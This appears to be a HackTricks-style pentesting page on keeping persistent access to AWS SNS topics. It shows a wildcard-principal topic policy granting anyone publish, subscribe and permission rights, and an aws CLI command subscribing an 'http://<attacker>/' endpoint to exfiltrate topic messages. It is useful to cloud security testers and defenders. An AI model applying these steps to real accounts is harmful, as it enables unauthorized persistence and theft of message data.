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# AWS - SNS Persistence
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{{#include ../../../banners/hacktricks-training.md}}
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## SNS
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For more information check:
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{{#ref}}
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../aws-services/aws-sns-enum.md
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{{#endref}}
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### Persistence
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When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
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The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
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```json
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{
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"Version": "2008-10-17",
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"Id": "__default_policy_ID",
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"Statement": [
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{
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"Sid": "__default_statement_ID",
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"Effect": "Allow",
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"Principal": {
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"AWS": "*"
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},
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"Action": [
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"SNS:Publish",
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"SNS:RemovePermission",
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"SNS:SetTopicAttributes",
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"SNS:DeleteTopic",
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"SNS:ListSubscriptionsByTopic",
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"SNS:GetTopicAttributes",
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"SNS:AddPermission",
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"SNS:Subscribe"
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],
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"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
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"Condition": {
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"StringEquals": {
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"AWS:SourceOwner": "318142138553"
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}
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}
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},
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{
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"Sid": "__console_pub_0",
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"Effect": "Allow",
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"Principal": {
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"AWS": "*"
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},
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"Action": "SNS:Publish",
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"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
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},
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{
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"Sid": "__console_sub_0",
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"Effect": "Allow",
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"Principal": {
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"AWS": "*"
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},
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"Action": "SNS:Subscribe",
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"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
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}
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]
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}
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```
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### Create Subscribers
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To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
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Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
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```bash
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aws sns subscribe --region <region> \
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--protocol http \
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--notification-endpoint http://<attacker>/ \
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--topic-arn <arn>
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```
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{{#include ../../../banners/hacktricks-training.md}}
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